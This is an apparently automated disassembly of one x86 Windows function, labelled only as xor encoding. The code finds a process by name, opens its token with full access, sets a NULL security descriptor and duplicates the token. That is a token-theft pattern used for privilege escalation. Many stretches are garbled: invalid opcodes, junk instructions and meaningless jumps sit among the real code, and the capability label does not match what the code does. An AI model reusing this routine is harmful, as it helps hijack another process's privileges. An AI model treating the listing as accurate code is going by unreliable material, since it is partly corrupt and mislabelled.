Function at 0x425892
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59ef90
mov eax, dword fs:[0]
push eax
sub esp, 0x284
mov eax, dword [0x627a40]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x28c], ebx
test edx, edx
je 0x42580a
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], ebx
mov word [ebp - 0x40], ax
cmp word [edx], ax
jne 0x4255c9
xor ecx, ecx
jmp 0x4255df
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4255d0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00403d10
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0
call fcn.00428630
push 0x22c
lea eax, [ebp - 0x288]
push 0
push eax
call fcn.00576f50
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x290], esi
cmp esi, 0xffffffff
je 0x4257f1
call fcn.00436860
test al, al
je 0x425642
sbb dword [esi + 0x60], ebp
loop 0x4256b4
sbb eax, 0x3126098c
insb byte es:[edi], dx
ficom dword [0x8d93681c]
test dword [eax - 3], edi
invalid
lea eax, [ebp - 0x288]
mov dword [ebp - 0x288], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x425776
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp word [ebp - 0x264], ax
jne 0x425691
xor ecx, ecx
jmp 0x4256af
lea ecx, [ebp - 0x264]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4256a0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403d10
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00428630
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.00404a90
test eax, eax
je 0x425700
invalid
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x58]
call fcn.00428880
or ebx, 1
lea ecx, [ebp - 0x40]
push eax
mov dword [ebp - 0x28c], ebx
call fcn.00404a90
test eax, eax
je 0x425700
xor bl, bl
jmp 0x425702
mov bl, 1
mov eax, dword [ebp - 0x28c]
test al, 1
je 0x42572a
and eax, 0xfffffffe
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x44]
cmp eax, 8
jb 0x42572a
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.00404090
test bl, bl
jne 0x42575f
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x425746
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00404090
lea eax, [ebp - 0x288]
push eax
push esi
call edi
test eax, eax
je 0x425776
mov ebx, dword [ebp - 0x28c]
jmp 0x425670
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x280]
lea ecx, [ebp - 0x28]
call fcn.00402d00
jmp 0x4257f3
call fcn.00435f30
test al, al
je 0x42579e
jl 0x4257f2
stosd dword es:[edi], eax
invalid
call fcn.004361d0
test al, al
je 0x4257c0
or byte [0x5e9c9928], cl
rcl dword [edx]
sbb eax, 0x991c05a5
add byte [esi - 0x3ea733ec], al
pop ecx
scasb al, byte es:[edi]
sahf
rcr byte [edx - 0x75], 0xe8
sti
or eax, 0xc0840001
call fcn.004365c0
test al, al
je 0x4257e5
rcl byte [ecx + edx*2 + 0x1b26fe8a]
and al, 0x29
pop edx
jb 0x425854
cmp eax, 0x2714caa5
fmulp st(6)
mov bl, 0x28
popal
jns 0x4257d3
int1
invalid
push dword [ebp - 0x290]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
test byte [ebx - 0x67c2bb3], 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x425808
inc ecx
push ecx
push dword [ebp - 0x40]
lea ecx, [ebp - 0x40]
call fcn.00404090
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00570ea9
mov esp, ebp
pop ebp
ret
test al, al
je 0x42586e
jg 0x425892
inc ebp
push edi
sbb dword [esp + edi - 0x4c2efe20], ecx
and eax, dword [0x2a606005]
nop
adc esi, dword [ebx - 0x25]
push 0xffffffffffffff8b
dec ebp
cld
mov ecx, dword [ebp - 4]
call fcn.00425880
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add byte [ecx], ah
add byte [eax], al
add byte [eax - 0x7d], dl
in al, dx
and byte [ebx + 0x56], dl
push edi
mov eax, dword [0x627a40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
call fcn.004360f0
test al, al
je 0x4258d8
adc dword [ebx], edx
scasb al, byte es:[edi]
mul edi
shl byte [ebx], cl
push 0xfffffffffffffffd
pop eax
push edi
invalid
das
jbe 0x425906
call fcn.00436010
test al, al
je 0x4258fc
stc
sbb byte [ebx], bh
mov dl, 0xb
cmp eax, 0x61c08d2a
or dl, byte [ebp + 0x54]
out 0x3b, al
je 0x425889
mov bl, 0xce
dec edx
push ebp
dec ebp
cmp bh, al
xchg ecx, eax
jae 0x42593b
call fcn.00435fa0
test al, al
je 0x42591e
jle 0x425959
push edx
inc ecx
cmpsb byte [esi], byte es:[edi]
jns 0x425940
fist dword [edx + ebp*2 - 0x60]
jb 0x4258d4
sahf
mov cl, 0x48
nop
rcl byte [edx], cl
cmp bh, byte [ecx + 0x1b]
wait
fmul st(4)
mov cl, 0xc7
inc ebp
in al, 0
add byte [eax], al
add al, ch
out 6, al
add dword [eax], eax
mov dword [ebp - 0x1c], 0
call fcn.00436010
test al, al
je 0x425944
add ecx, dword [esi]
push cs
cmp bl, 0
rol dword [ebp + 0x4a], cl
nop
enter 0xffffffffffffe9e9, 0xffffffffffffffd5
das
mov dh, 0x92
adc byte [esi - 0x58059635], 0xff
jne 0x42592f
retf
push dword [ebp - 0x18]
mov dword [ebp - 4], 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x18], edi
pop edx
add byte [ebx - 0x17827608], cl
test edi, edi
je 0x42597f
lea eax, [ebp - 0x14]
push eax
push 0xf01ff
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x425993
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00435e50
test al, al
je 0x4259bc
invalid
call fcn.00436550
test al, al
je 0x4259e5
std
invalid
push 0x14
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jne 0x425a39
call fcn.00436240
test al, al
je 0x425a15
jg 0x425a79
out dx, al
cmpsd dword [esi], dword es:[edi]
movsb byte es:[edi], byte [esi]
push edx
xchg dword [edx - 0x41ccc3f5], edi
ret 0x2cd
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
ror byte [ebx - 0x769b0bb3], 0xd
add byte [eax], al
add byte [eax], al
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x425a88
call fcn.00436860
test al, al
je 0x425a5f
pop esi
or ebx, dword [ebp + eax*2 - 0x35a1aca9]
sbb ebx, esp
adc ecx, ebp
into
jno 0x425a26
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x425a5f
mov dword [ebp - 0x2c], 0xc
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 1
call fcn.004365c0
test al, al
je 0x425ac3
pop eax
nop
rol dl, 1
cwde
invalid
call fcn.00436080
test al, al
je 0x425aef
out dx, al
clc
xchg esp, eax
jnp 0x425a59
invalid
call fcn.00436240
test al, al
je 0x425b16
lodsb al, byte [esi]
adc bl, ah
xor dl, cl
pop ds
call 0x7e0ce731
jns 0x425af8
stc
mov edx, 0x15e0da94
jae 0x425b60
adc eax, 0xa7945273
xchg esp, eax
cmpsd dword [esi], dword es:[edi]
push ebp
jle 0x425b0b
fdecstp
adc dword [ebp + 0x6a50e045], ecx
add dword [edx + 2], ebp
lea eax, [ebp - 0x20]
push eax
push 1
push 2
lea eax, [ebp - 0x2c]
push eax
push 0xf01ff
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x425b65
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop ebx
inc edx
add bl, al
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x425b83
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret